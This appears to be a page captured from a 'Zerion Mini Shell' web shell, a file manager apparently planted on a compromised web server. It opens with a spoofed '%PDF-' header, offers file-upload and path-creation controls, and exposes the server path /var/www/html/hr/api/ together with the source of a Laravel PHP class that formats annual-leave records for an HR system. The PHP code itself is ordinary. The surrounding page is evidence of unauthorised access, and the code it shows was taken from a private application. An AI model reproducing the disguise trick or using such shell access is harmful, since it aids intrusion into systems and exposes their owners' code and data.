%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hr/api/app/Transformers/
Upload File :
Create Path :
Current File : /var/www/html/hr/api/app/Transformers/AnnualLeaveTransactionTransformer.php

<?php

namespace App\Transformers;


use App\Models\AnnualLeaveTransaction;

class AnnualLeaveTransactionTransformer extends BaseTransformer
{

    public function transform(AnnualLeaveTransaction $leave)
    {
        return [
            'id'         => $leave->id,
            'quantity'   => $leave->quantity,
            'type'       => $leave->type,
            'notes'      => $leave->notes,
            'expires_at' => $leave->formatDate($leave->expires_at),
            'created_at' => $leave->created_at,
        ];
    }

}

Zerion Mini Shell 1.0